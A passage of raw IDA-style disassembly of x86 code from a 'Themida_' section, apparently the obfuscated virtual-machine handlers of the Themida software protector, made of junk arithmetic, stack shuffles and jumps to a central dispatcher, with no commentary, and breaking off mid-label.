loc_5539BD: ; CODE XREF: Themida_:0055B777j add esp, 4 push ebx push edx jmp loc_558296 ; --------------------------------------------------------------------------- loc_5539C7: ; CODE XREF: Themida_:0055A381j xor eax, 3DD73500h or eax, 19F28BDh jmp loc_556AC9 ; --------------------------------------------------------------------------- loc_5539D6: ; CODE XREF: Themida_:0055852Cj sub edx, 6DA13F99h mov [edx], al pop edx jmp loc_551368 ; --------------------------------------------------------------------------- loc_5539E4: ; CODE XREF: Themida_:0055CB46j pop edx not edx push ebp mov ebp, 7D33296Ch sub edx, ebp pop ebp dec edx add edx, 0DC396DE3h push edx jmp loc_554702 ; --------------------------------------------------------------------------- loc_5539FD: ; CODE XREF: Themida_:0055BFBDj push 4B09h mov [esp], ecx push 4CF6h jmp loc_5553E8 ; --------------------------------------------------------------------------- loc_553A0F: ; CODE XREF: Themida_:005584B6j push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_557462 ; --------------------------------------------------------------------------- loc_553A1D: ; CODE XREF: Themida_:0055C75Fj pop dword ptr [esp] xchg eax, ecx not eax xchg eax, ecx xor [esp], ecx xor ecx, [esp] xor [esp], ecx mov eax, [esp] push edx push esp jmp loc_556CF6 ; --------------------------------------------------------------------------- loc_553A37: ; CODE XREF: Themida_:00558C8Ej shr eax, 18h jmp loc_552746 ; --------------------------------------------------------------------------- loc_553A3F: ; CODE XREF: Themida_:0055B82Bj xor edi, 5DE0705Eh sub esp, 4 mov [esp], esi mov esi, edi mov ebp, esi mov esi, [esp] add esp, 4 push dword ptr [esp] push dword ptr [esp] pop edi add esp, 4 jmp loc_555A5D ; --------------------------------------------------------------------------- loc_553A6D: ; CODE XREF: Themida_:00555AB9j pop edx xchg eax, [esp] pop esp add esp, 4 mov edx, [esp] add esp, 4 xor [esp], eax xor eax, [esp] xor [esp], eax jmp loc_551368 ; --------------------------------------------------------------------------- loc_553A8C: ; CODE XREF: Themida_:00554039j add esp, 4 push edx push 3F9Eh jmp loc_55B1E9 ; --------------------------------------------------------------------------- loc_553A9D: ; CODE XREF: Themida_:0055801Bj or ebx, ecx pop ecx add ebx, 0B2A1E961h jmp loc_5593B7 ; --------------------------------------------------------------------------- loc_553AAB: ; CODE XREF: Themida_:0055AC78j sub ebp, eax pop eax sub ebx, 73B56519h sub ebx, ebp add ebx, 73B56519h mov ebp, [esp] add esp, 4 add ecx, ebx pop ebx jmp loc_5524D9 ; --------------------------------------------------------------------------- loc_553ACD: ; CODE XREF: Themida_:0055390Cj push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] rol byte ptr [esp], cl pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_553AF5: ; CODE XREF: Themida_:00552300j push esp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], edx push 2B3D7E96h pop edx xor edx, 2B3D7E92h add ebp, edx mov edx, [esp] add esp, 4 jmp loc_557591 ; --------------------------------------------------------------------------- loc_553B1E: ; CODE XREF: Themida_:0055602Dj push edi mov edi, 4E123ABEh push eax mov eax, 1 sub edi, eax mov eax, [esp] add esp, 4 add edi, 1537662Dh neg edi neg edi jmp loc_55A054 ; --------------------------------------------------------------------------- loc_553B41: ; CODE XREF: Themida_:0055CB1Fj xchg ecx, [esp] mov esp, [esp] jmp loc_55236C ; --------------------------------------------------------------------------- loc_553B4C: ; CODE XREF: Themida_:00557365j add eax, esi jmp loc_559DD8 ; --------------------------------------------------------------------------- loc_553B53: ; CODE XREF: Themida_:00558236j mov edi, 1AD20C37h shr edi, 6 shl edi, 2 xor edi, 1AD20C4h sub esi, edi pop edi jmp loc_5574B5 ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push ebp jmp loc_55C512 ; --------------------------------------------------------------------------- loc_553B76: ; CODE XREF: Themida_:0055A355j pop ebx mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_553956 ; --------------------------------------------------------------------------- loc_553B8E: ; CODE XREF: Themida_:0055A242j mov ebp, 55A95803h add ebp, 29A9EED1h jmp loc_559D3E ; --------------------------------------------------------------------------- loc_553B9E: ; CODE XREF: Themida_:0055C12Bj or ecx, edx mov edx, [esp] add esp, 4 sub ecx, 1 not ecx xor ecx, 4426D09Ch xor eax, ecx mov ecx, [esp] add esp, 4 jmp loc_55727C ; --------------------------------------------------------------------------- loc_553BC7: ; CODE XREF: Themida_:0055CEC2j push 3F5Eh mov [esp], ecx jmp loc_556958 ; --------------------------------------------------------------------------- loc_553BD4: ; CODE XREF: Themida_:0055748Bj jmp loc_551368 ; --------------------------------------------------------------------------- loc_553BD9: ; CODE XREF: Themida_:0055795Cj add ebx, edx mov eax, [ebx] mov ebx, [esp] add esp, 4 mov edx, [esp] add esp, 4 push dword ptr [edi+eax*4] jmp loc_557B44 ; --------------------------------------------------------------------------- loc_553BF4: ; CODE XREF: Themida_:00551AFBj jmp loc_551368 ; --------------------------------------------------------------------------- loc_553BF9: ; CODE XREF: Themida_:00559CDEj mov edx, esp jmp loc_559289 ; --------------------------------------------------------------------------- loc_553C00: ; CODE XREF: Themida_:0055457Fj add ecx, 4 sub ecx, 4 xor ecx, [esp] jmp loc_559BC4 ; --------------------------------------------------------------------------- loc_553C11: ; CODE XREF: Themida_:0055808Fj push edx mov dl, 3 mov ch, dl pop edx add ch, 0FCh add bl, ch jmp loc_559435 ; --------------------------------------------------------------------------- loc_553C21: ; CODE XREF: Themida_:005545C6j pop eax jmp loc_554DA0 ; --------------------------------------------------------------------------- loc_553C27: ; CODE XREF: Themida_:00554245j pop eax jmp loc_5589C3 ; --------------------------------------------------------------------------- loc_553C2D: ; CODE XREF: Themida_:00551BB0j add edx, 4 sub edx, 4 xor edx, [esp] xor [esp], edx jmp loc_555E8D ; --------------------------------------------------------------------------- loc_553C44: ; CODE XREF: Themida_:00552767j inc eax sub eax, 0D8BD90D0h mov ebx, eax pop eax sub edx, ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_559F9B ; --------------------------------------------------------------------------- loc_553C5B: ; CODE XREF: Themida_:00557EBEj push eax jmp loc_55AC10 ; --------------------------------------------------------------------------- loc_553C61: ; CODE XREF: Themida_:00551762j push ebx mov ebx, 4653094Ch inc ebx jmp loc_55CA2C ; --------------------------------------------------------------------------- loc_553C6D: ; CODE XREF: Themida_:00553097j xor esi, 37F93025h add esi, 0ACA39EB6h mov ebp, esi mov esi, [esp] jmp loc_55912D ; --------------------------------------------------------------------------- loc_553C83: ; CODE XREF: Themida_:00555CB8j pop esi sub dword ptr [esp], 2E9E6BD2h sub [esp], eax add dword ptr [esp], 2E9E6BD2h sub esp, 4 mov [esp], ebx mov ebx, 65356D44h add dword ptr [esp+4], 2B6F5928h add [esp+4], ebx sub dword ptr [esp+4], 2B6F5928h mov ebx, [esp] jmp loc_552D74 ; --------------------------------------------------------------------------- loc_553CBF: ; CODE XREF: Themida_:005589BEj push 3466h mov [esp], ebx mov ebx, esp push 79C3h mov [esp], eax jmp loc_554B4A ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_55BDC3 ; --------------------------------------------------------------------------- loc_553CDF: ; CODE XREF: Themida_:0055A45Aj add esp, 4 jmp loc_55C144 ; --------------------------------------------------------------------------- loc_553CEA: ; CODE XREF: Themida_:00555F74j mov ebx, 2FAC5F6Fh add ebx, 3327F5E1h sub esi, ebx pop ebx jmp loc_5594CE ; --------------------------------------------------------------------------- loc_553CFD: ; CODE XREF: Themida_:00554AE6j xor [esp], edi xor edi, [esp] pop esp shl dword ptr [esp], cl pushf jmp loc_55452F ; --------------------------------------------------------------------------- loc_553D0D: ; CODE XREF: Themida_:00556281j add edx, ebx sub edx, 7DB86DABh mov ebx, [esp] push ecx jmp loc_5560D4 ; --------------------------------------------------------------------------- loc_553D1E: ; CODE XREF: Themida_:005538F9j mov edi, 4 add eax, edi pop edi push edx mov edx, 4 add eax, edx jmp loc_5522EF ; --------------------------------------------------------------------------- loc_553D33: ; CODE XREF: Themida_:00556D92j push cx mov cl, 2Fh sub bh, cl pop cx or ch, bh pop ebx jmp loc_551DF2 ; --------------------------------------------------------------------------- loc_553D43: ; CODE XREF: Themida_:005569E9j mov ebx, 0FFFFFFFFh add edx, ebx pop ebx jmp loc_553E80 ; --------------------------------------------------------------------------- loc_553D50: ; CODE XREF: Themida_:0055D211j mov [esp], edi mov edi, 214B7D0Bh mov ebp, edi mov edi, [esp] push eax jmp loc_5536A4 ; --------------------------------------------------------------------------- loc_553D63: ; CODE XREF: Themida_:0055440Ej mov [esp], ax jmp loc_551368 ; --------------------------------------------------------------------------- loc_553D6C: ; CODE XREF: Themida_:00555242j mov [esp], edi jmp loc_55A0CB ; --------------------------------------------------------------------------- loc_553D74: ; CODE XREF: Themida_:005528C1j xor eax, [esp] jmp loc_552147 ; --------------------------------------------------------------------------- loc_553D7C: ; CODE XREF: Themida_:0055A827j pop esi sub eax, ecx push ecx mov ecx, 6A2D4D42h dec ecx not ecx shl ecx, 7 sub ecx, 0E012F2C2h add eax, ecx pop ecx push esi mov esi, 1D8041A1h jmp loc_55A12B ; --------------------------------------------------------------------------- loc_553D9F: ; CODE XREF: Themida_:00552CA8j not edi jmp loc_55C5C6 ; --------------------------------------------------------------------------- loc_553DA6: ; CODE XREF: Themida_:0055CB63j mov ebx, 226E735Eh add eax, ebx mov ebx, [esp] add esp, 4 jmp loc_55A99F ; --------------------------------------------------------------------------- loc_553DBB: ; CODE XREF: Themida_:0055A3FFj mov [esp], edx jmp loc_55950E ; --------------------------------------------------------------------------- loc_553DC3: ; CODE XREF: Themida_:0055A5D6j add ebx, eax jmp loc_555FFC ; --------------------------------------------------------------------------- loc_553DCA: ; CODE XREF: Themida_:005578C4j pop esp mov [esp], edi push esp pop edi push edx push ebp mov ebp, 578D276Bh sub ebp, 4292680Fh xor ebp, 21722E23h sub ebp, 5EF70A12h add ebp, 343D6600h dec ebp xor ebp, 0ACEED68h push esi jmp loc_55A924 ; --------------------------------------------------------------------------- loc_553DFC: ; CODE XREF: Themida_:0055A141j add esp, 4 xor ebx, eax push ebp mov ebp, 15F257EDh jmp loc_55384E ; --------------------------------------------------------------------------- loc_553E0C: ; CODE XREF: Themida_:0055C2C5j add esp, 4 shr eax, 10h xor eax, ecx jmp loc_554251 ; --------------------------------------------------------------------------- loc_553E19: ; CODE XREF: Themida_:00557E66j pop esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_55CF18 ; --------------------------------------------------------------------------- loc_553E37: ; CODE XREF: Themida_:00559398j add ebx, 71D8269Dh push eax push 4243h mov [esp], ebp jmp loc_559C81 ; --------------------------------------------------------------------------- loc_553E4B: ; CODE XREF: Themida_:0055C0A9j push eax push ecx mov ch, 9 mov al, ch pop ecx push ebx push ecx sub esp, 4 mov [esp], edx mov dl, al push ebx jmp loc_551FAA ; --------------------------------------------------------------------------- loc_553E62: ; CODE XREF: Themida_:0055A1C4j shl edi, 8 shl edi, 8 shr edi, 4 shl edi, 6 sub esp, 4 jmp loc_55BEF2 ; --------------------------------------------------------------------------- loc_553E76: ; CODE XREF: Themida_:005519DAj mov ecx, 0CEA34F15h jmp loc_5518AE ; --------------------------------------------------------------------------- loc_553E80: ; CODE XREF: Themida_:00553D4Bj sub edx, 31665421h jmp loc_557787 ; --------------------------------------------------------------------------- loc_553E8B: ; CODE XREF: Themida_:005550D2j push 314F1681h pop ebx jmp loc_55D225 ; --------------------------------------------------------------------------- loc_553E96: ; CODE XREF: Themida_:00553654j add esp, 4 or edx, eax shl edx, 1 push 2120h mov [esp], eax mov eax, 0E9264C2h and eax, 309D2CB8h jmp loc_5562DB ; --------------------------------------------------------------------------- loc_553EB7: ; CODE XREF: Themida_:00551AA3j mov esp, [esp] xor [esp], eax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_553EC3: ; CODE XREF: Themida_:0055BCBBj mov ebp, 4 add ebx, 624329FAh add ebx, ebp sub ebx, 624329FAh pop ebp xchg ebx, [esp] mov esp, [esp] jmp loc_55D439 ; --------------------------------------------------------------------------- loc_553EE2: ; CODE XREF: Themida_:00559B60j mov ecx, 1D606667h sub edi, ecx jmp loc_5597FD ; --------------------------------------------------------------------------- loc_553EEE: ; CODE XREF: Themida_:005532DDj sub dx, cx jmp loc_551767 ; --------------------------------------------------------------------------- loc_553EF6: ; CODE XREF: Themida_:0055B5A0j mov ebx, 4 jmp loc_5557FE ; --------------------------------------------------------------------------- loc_553F00: ; CODE XREF: Themida_:005592DEj pop edx sub esp, 4 mov [esp], edi mov edi, 52FD63C9h sub edi, 8B9FBE8Ah add edx, edi mov edi, [esp] add esp, 4 push edx pop ebx push dword ptr [esp] mov edx, [esp] jmp loc_557392 ; --------------------------------------------------------------------------- loc_553F27: ; CODE XREF: Themida_:005517A2j pop esi jmp loc_558A00 ; --------------------------------------------------------------------------- loc_553F2D: ; CODE XREF: Themida_:00559BACj mov [esp], edx mov dl, 96h not dl xchg ah, dl not ah xchg ah, dl shl dl, 8 xchg ch, dl jmp loc_556B9F ; --------------------------------------------------------------------------- loc_553F44: ; CODE XREF: Themida_:00554EA2j add eax, 4 xchg eax, [esp] jmp loc_55448C ; --------------------------------------------------------------------------- loc_553F4F: ; CODE XREF: Themida_:0055D0AAj mov bh, al pop eax mov edx, [esp] jmp loc_55D280 ; --------------------------------------------------------------------------- loc_553F5A: ; CODE XREF: Themida_:00555C58j mov ebx, [esp] jmp loc_55B699 ; --------------------------------------------------------------------------- mov ax, fs:[edx] push small 1DB8h mov [esp], ax jmp loc_551368 ; --------------------------------------------------------------------------- loc_553F73: ; CODE XREF: Themida_:0055A338j add eax, ebp pop ebp push eax sub dword ptr [esp], 101E025Eh pop esi add esi, 101E025Eh mov eax, [esp] add esp, 4 add ebp, esi mov esi, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] sar byte ptr [esp], cl pushf jmp loc_557FF4 ; --------------------------------------------------------------------------- loc_553FAE: ; CODE XREF: Themida_:0055CB85j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push dword ptr [esp] pop edx jmp loc_5522F8 ; --------------------------------------------------------------------------- push 5AD3h mov [esp], eax mov eax, esp push ebx mov ebx, 4 add eax, ebx pop ebx sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], eax push edi mov edi, 5D32744h jmp loc_5595D0 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] jmp loc_55AFBF ; --------------------------------------------------------------------------- loc_554010: ; CODE XREF: Themida_:00553240j mov ecx, esp jmp loc_555CD3 ; --------------------------------------------------------------------------- loc_554017: ; CODE XREF: Themida_:00558CC1j sub ebp, 6D142CB7h add ebp, ebx add ebp, 6D142CB7h pop ebx push edi mov edi, 2 add ebp, edi jmp loc_55A949 ; --------------------------------------------------------------------------- loc_554033: ; CODE XREF: Themida_:00557EEEj push dword ptr [esp] mov ecx, [esp] jmp loc_553A8C ; --------------------------------------------------------------------------- mov cx, [esp] push edi push 53AFh mov [esp], esp add dword ptr [esp], 4 jmp loc_556ECB ; --------------------------------------------------------------------------- loc_554057: ; CODE XREF: Themida_:0055CBD4j sub edi, edx pop edx and edi, 21C67159h xor edi, 182705Bh jmp loc_5564EF ; --------------------------------------------------------------------------- loc_55406B: ; CODE XREF: Themida_:00557FD1j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_55C086 ; --------------------------------------------------------------------------- loc_554079: ; CODE XREF: Themida_:00557CB4j push eax push 6C10h mov [esp], esp add dword ptr [esp], 4 pop eax push esi push ecx mov ecx, 23163C48h mov esi, 3AA5AABAh sub esi, ecx pop ecx add esi, 73697F4Ch jmp loc_55B1C0 ; --------------------------------------------------------------------------- loc_5540A1: ; CODE XREF: Themida_:00552988j pop ecx jmp loc_55C10A ; --------------------------------------------------------------------------- loc_5540A7: ; CODE XREF: Themida_:0055C4EAj xor [esp], ebp jmp loc_5570ED ; --------------------------------------------------------------------------- loc_5540AF: ; CODE XREF: Themida_:005588E6j xor edx, ecx pop ecx xor edx, 87F2C3D0h sub edi, edx pop edx sub edi, ebx push edx push ecx jmp loc_555E07 ; --------------------------------------------------------------------------- loc_5540C4: ; CODE XREF: Themida_:0055C513j mov ebp, [esp] add esp, 4 jmp loc_55D0CF ; --------------------------------------------------------------------------- loc_5540CF: ; CODE XREF: Themida_:0055A705j push esi mov esi, esp jmp loc_551C11 ; --------------------------------------------------------------------------- loc_5540D7: ; CODE XREF: Themida_:00557A5Bj mov ecx, 4 push edi push esi mov esi, 269C4B88h add esi, 17250EA2h jmp loc_55A6A7 ; --------------------------------------------------------------------------- loc_5540EE: ; CODE XREF: Themida_:00551F69j push edx mov edx, esp push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_55C6E2 ; --------------------------------------------------------------------------- loc_554105: ; CODE XREF: Themida_:005596AFj pop esp mov [esp], cx mov ch, 0ABh sub al, 75h sub al, 0D0h sub al, ch add al, 0D0h push ecx mov cl, 14h jmp loc_55C228 ; --------------------------------------------------------------------------- loc_55411C: ; CODE XREF: Themida_:005587AFj sub esi, 7CBD1498h jmp loc_5580AF ; --------------------------------------------------------------------------- loc_554127: ; CODE XREF: Themida_:00552159j pop esi add esi, 4 add esi, 4 jmp loc_554BA0 ; --------------------------------------------------------------------------- loc_554139: ; CODE XREF: Themida_:00552D6Fj xchg esi, [esp] pop esp add ebx, 2 jmp loc_554BEC ; --------------------------------------------------------------------------- loc_554145: ; CODE XREF: Themida_:005599EAj sub esi, 0FFFFFFFFh xor esi, 9F4287h neg esi xor esi, 508A6E6Fh add eax, esi jmp loc_55AAE6 ; --------------------------------------------------------------------------- loc_554160: ; CODE XREF: Themida_:0055A7C0j sub ebx, edx jmp loc_55B100 ; --------------------------------------------------------------------------- loc_554167: ; CODE XREF: Themida_:005537DBj pop edi pop ebx jmp loc_552CE6 ; --------------------------------------------------------------------------- loc_55416E: ; CODE XREF: Themida_:005534ECj and ebp, 3AB11196h jmp loc_556980 ; --------------------------------------------------------------------------- lodsb sub al, 0ECh jmp loc_5577E0 ; --------------------------------------------------------------------------- loc_554181: ; CODE XREF: Themida_:0055CB12j jmp loc_551368 ; --------------------------------------------------------------------------- loc_554186: ; CODE XREF: Themida_:0055B98Aj sub esp, 4 mov [esp], esp jmp loc_555CF6 ; --------------------------------------------------------------------------- loc_554194: ; CODE XREF: Themida_:0055158Cj sub eax, edi mov edi, [esp] add esp, 4 mov ebp, [esp] push 1212h mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub esp, 4 mov [esp], edi jmp loc_556FC9 ; --------------------------------------------------------------------------- loc_5541C7: ; CODE XREF: Themida_:0055B2B1j push edx mov edx, esp jmp loc_55C5AF ; --------------------------------------------------------------------------- loc_5541CF: ; CODE XREF: Themida_:005527E9j add esi, edi pop edi jmp loc_556F17 ; --------------------------------------------------------------------------- loc_5541D7: ; CODE XREF: Themida_:00552CFDj mov eax, [esp] sub esp, 4 mov [esp], esi push esp mov esi, [esp] jmp loc_55CB68 ; --------------------------------------------------------------------------- loc_5541EC: ; CODE XREF: Themida_:0055ACB1j push eax mov al, 0CFh shr al, 7 xor al, 0E6h xor bh, al pop eax push dx mov dh, 0ACh sub bh, dh pop dx jmp loc_5542B0 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_555141 ; --------------------------------------------------------------------------- push dword ptr [esp] pop edx push ebx jmp loc_55C9C4 ; --------------------------------------------------------------------------- loc_554217: ; CODE XREF: Themida_:00558F4Fj mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_55B4A1 ; --------------------------------------------------------------------------- loc_55422B: ; CODE XREF: Themida_:00554F63j pop esi jmp loc_55D3E2 ; --------------------------------------------------------------------------- loc_554231: ; CODE XREF: Themida_:00554B63j and edx, 2C987786h shr edx, 7 xor edx, 0C7E0F316h sub eax, edx pop edx add ebx, eax jmp loc_553C27 ; --------------------------------------------------------------------------- loc_55424A: ; CODE XREF: Themida_:00558C83j shl ebx, 1 jmp loc_5539B0 ; --------------------------------------------------------------------------- loc_554251: ; CODE XREF: Themida_:00553E14j sub esp, 4 jmp loc_551FC2 ; --------------------------------------------------------------------------- loc_554259: ; CODE XREF: Themida_:005538C1j mov cl, 0F3h dec cl not cl inc cl add cl, 4Ah sub cl, 1Eh jmp loc_555BCD ; --------------------------------------------------------------------------- loc_55426C: ; CODE XREF: Themida_:0055CB9Dj sub bh, 2 jmp loc_55317B ; --------------------------------------------------------------------------- loc_554274: ; CODE XREF: Themida_:00558009j xchg eax, [esp] pop esp bt [esp], eax pushf jmp loc_551368 ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_551368 ; --------------------------------------------------------------------------- loc_55428A: ; CODE XREF: Themida_:00559D5Dj shl al, 2 sub al, 2 mov dl, al pop eax jmp loc_55B718 ; --------------------------------------------------------------------------- loc_554297: ; CODE XREF: Themida_:00559C2Bj pop dword ptr [esp] jmp loc_55A847 ; --------------------------------------------------------------------------- loc_55429F: ; CODE XREF: Themida_:00552245j add ecx, esi add ecx, 6A910C68h pop esi xchg ecx, [esp] jmp loc_558C88 ; --------------------------------------------------------------------------- loc_5542B0: ; CODE XREF: Themida_:005541FFj add al, bh pop ebx add al, dh sub al, 0Ch pop dx push dx push eax mov al, 0E3h mov dh, al pop eax jmp loc_552403 ; --------------------------------------------------------------------------- loc_5542C6: ; CODE XREF: Themida_:0055C0F3j add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov cl, 0F1h xor al, cl pop ecx add bl, al jmp loc_55B9C5 ; --------------------------------------------------------------------------- loc_5542E3: ; CODE XREF: Themida_:0055CF6Ej add ebp, 0DB298D73h add esi, ebp pop ebp xor ebx, esi pop esi mov ecx, ebx pop ebx push 68275456h pop ebp sub ebp, ecx mov ecx, [esp] add esp, 4 or [edi+1Ch], ebp push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 jmp loc_55A7C5 ; --------------------------------------------------------------------------- loc_554315: ; CODE XREF: Themida_:00551A5Cj pop ebx jmp loc_553125 ; --------------------------------------------------------------------------- loc_55431B: ; CODE XREF: Themida_:00551DEDj add bl, 0B0h sub esp, 2 jmp loc_551B00 ; --------------------------------------------------------------------------- loc_554329: ; CODE XREF: Themida_:00551C49j sub bl, 27h movzx eax, al pop dword ptr [edi+eax*4] jmp loc_551368 ; --------------------------------------------------------------------------- loc_554337: ; CODE XREF: Themida_:00558E07j xor esi, 1C1333F6h not esi jmp loc_557713 ; --------------------------------------------------------------------------- loc_554344: ; CODE XREF: Themida_:00554F4Dj and dl, 7Dh add dl, 81h sub ch, dl jmp loc_5590B2 ; --------------------------------------------------------------------------- loc_554351: ; CODE XREF: Themida_:0055C17Fj mov ecx, 61E80B44h sub eax, ecx pop ecx add eax, 208632B6h push esi push eax mov eax, 145A7761h mov esi, eax pop eax or esi, 5FD45378h dec esi jmp loc_55A819 ; --------------------------------------------------------------------------- loc_554374: ; CODE XREF: Themida_:00556792j neg ebp sub ebp, 62F632BEh sub ebp, 46C91B3Fh xor edi, ebp jmp loc_558FE9 ; --------------------------------------------------------------------------- loc_554389: ; CODE XREF: Themida_:0055C219j xor ecx, [esp] xor [esp], ecx jmp loc_5520BE ; --------------------------------------------------------------------------- loc_554394: ; CODE XREF: Themida_:005531AEj push edx jmp loc_554ECE ; --------------------------------------------------------------------------- loc_55439A: ; CODE XREF: Themida_:00551826j mov [esp], edx push esp jmp loc_554E3A ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebx jmp loc_555C57 ; --------------------------------------------------------------------------- loc_5543B2: ; CODE XREF: Themida_:00552ED1j mov edx, ebp pop ebp mov ecx, edx pop edx shr ecx, 8 and ecx, 6B581C26h shl ecx, 5 jmp loc_554F8C ; --------------------------------------------------------------------------- loc_5543C9: ; CODE XREF: Themida_:0055671Cj pop ebx add bl, dl mov dx, [esp] push esi mov esi, esp add esi, 4 push eax mov eax, 2 add esi, eax pop eax xor esi, [esp] jmp loc_551DE1 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 jmp loc_553406 ; --------------------------------------------------------------------------- loc_5543F9: ; CODE XREF: Themida_:0055342Aj sub edi, edx pop edx push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_553D63 ; --------------------------------------------------------------------------- loc_554413: ; CODE XREF: Themida_:00557BDCj push small 9EFh pop di jmp loc_558D8D ; --------------------------------------------------------------------------- loc_55441E: ; CODE XREF: Themida_:00552617j sub ecx, 4F473AEEh push eax jmp loc_55AB2D ; --------------------------------------------------------------------------- loc_55442A: ; CODE XREF: Themida_:00552D52j mov esp, [esp] push eax push esp pop eax sub esp, 4 mov [esp], ecx mov ecx, 108749ECh push ecx not dword ptr [esp] jmp loc_5523E0 ; --------------------------------------------------------------------------- loc_554447: ; CODE XREF: Themida_:00555642j xor al, bl push cx mov cl, 89h add al, 0C4h add al, cl sub al, 0C4h jmp loc_55A1AB ; --------------------------------------------------------------------------- loc_554458: ; CODE XREF: Themida_:005545FAj pop ebp add ebp, 4 jmp loc_5574AA ; --------------------------------------------------------------------------- loc_554464: ; CODE XREF: Themida_:00551E84j sub ebx, ecx add ebx, 6BAD1390h xchg ebx, ecx pop ebx push 3AA6h mov [esp], edx push 37E5h mov [esp], ecx jmp loc_5551DE ; --------------------------------------------------------------------------- loc_554484: ; CODE XREF: Themida_:00551F46j add edi, esi pop esi jmp loc_558152 ; --------------------------------------------------------------------------- loc_55448C: ; CODE XREF: Themida_:00553F4Aj mov esp, [esp] push dword ptr [esp] pop eax add esp, 4 xor eax, 3EC82798h push 3F99h mov [esp], edx jmp loc_5552C9 ; --------------------------------------------------------------------------- loc_5544A8: ; CODE XREF: Themida_:0055CBEFj push ebx mov ebx, 3BA61FBh jmp loc_551BB5 ; --------------------------------------------------------------------------- loc_5544B3: ; CODE XREF: Themida_:005577C5j push 4 jmp loc_55A6F5 ; --------------------------------------------------------------------------- loc_5544BD: ; CODE XREF: Themida_:00556ECCj push ebp push esi push ebx mov ebx, 682A45F9h mov esi, 83647991h sub esi, ebx pop ebx jmp loc_55248C ; --------------------------------------------------------------------------- loc_5544D2: ; CODE XREF: Themida_:005559A5j mov [esp], eax push cx mov cl, 6Ah jmp loc_556D97 ; --------------------------------------------------------------------------- loc_5544DE: ; CODE XREF: Themida_:0055478Dj pop ecx add esp, 4 pop edx shl dword ptr [edi+24h], 3 shl dword ptr [edi+24h], 4 sub esp, 4 mov [esp], eax push 0B6200700h jmp loc_557E8F ; --------------------------------------------------------------------------- loc_5544FB: ; CODE XREF: Themida_:00559C7Cj pop eax add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp and eax, ebx jmp loc_553650 ; --------------------------------------------------------------------------- loc_554510: ; CODE XREF: Themida_:0055A54Dj pop eax jmp loc_552E87 ; --------------------------------------------------------------------------- loc_554516: ; CODE XREF: Themida_:0055C5CCj add edx, edi mov edi, [esp] add esp, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] jmp loc_557385 ; --------------------------------------------------------------------------- loc_55452F: ; CODE XREF: Themida_:00553D08j jmp loc_551368 ; --------------------------------------------------------------------------- loc_554534: ; CODE XREF: Themida_:00556B9Aj mov edi, esp add edi, 4 push edx jmp loc_551F6E ; --------------------------------------------------------------------------- loc_554542: ; CODE XREF: Themida_:00557818j mov ebx, 7C0E61B4h and ebx, 0F9E724Eh jmp loc_5567A8 ; --------------------------------------------------------------------------- loc_554552: ; CODE XREF: Themida_:00552860j push dword ptr [esp] pop eax push esi mov esi, esp add esi, 4 push 53C7h mov [esp], edx mov edx, 4 push edx mov edx, 0F141F05h xor edx, 0CAB1C9Fh jmp loc_55B089 ; --------------------------------------------------------------------------- loc_55457D: ; CODE XREF: Themida_:005523D0j mov ecx, esp jmp loc_553C00 ; --------------------------------------------------------------------------- loc_554584: ; CODE XREF: Themida_:00559E52j xor [esp+4], edi jmp loc_551A17 ; --------------------------------------------------------------------------- loc_55458D: ; CODE XREF: Themida_:0055294Bj pop esp jmp loc_55C7FC ; --------------------------------------------------------------------------- loc_554593: ; CODE XREF: Themida_:00551F0Ej sub bh, 72h push cx push eax mov al, 7Fh mov cl, 0B2h add cl, al mov eax, [esp] add esp, 4 jmp loc_55972D ; --------------------------------------------------------------------------- loc_5545AA: ; CODE XREF: Themida_:005563A5j movzx cx, al push cx pushf jmp loc_5538FE ; --------------------------------------------------------------------------- loc_5545B6: ; CODE XREF: Themida_:00556F25j pop esp shr ecx, 7 push ecx jmp loc_55CC7D ; --------------------------------------------------------------------------- loc_5545C0: ; CODE XREF: Themida_:00552A57j sub edi, 692D0A59h jmp loc_553C21 ; --------------------------------------------------------------------------- loc_5545CB: ; CODE XREF: Themida_:00559515j xor edx, ecx xor ecx, edx jmp loc_551E76 ; --------------------------------------------------------------------------- loc_5545D4: ; CODE XREF: Themida_:0055461Cj add esp, 2 not dx jmp loc_55957F ; --------------------------------------------------------------------------- loc_5545DF: ; CODE XREF: Themida_:005590B3j sub bl, ch mov ecx, [esp] add esp, 4 movzx eax, al push dword ptr [edi+eax*4] mov eax, [esp] sub esp, 4 mov [esp], ebp push esp jmp loc_554458 ; --------------------------------------------------------------------------- loc_5545FF: ; CODE XREF: Themida_:0055263Fj push small 4026h mov [esp], di sub esp, 2 mov [esp], dx mov di, [esp] add esp, 2 mov dx, [esp] jmp loc_5545D4 ; --------------------------------------------------------------------------- loc_554621: ; CODE 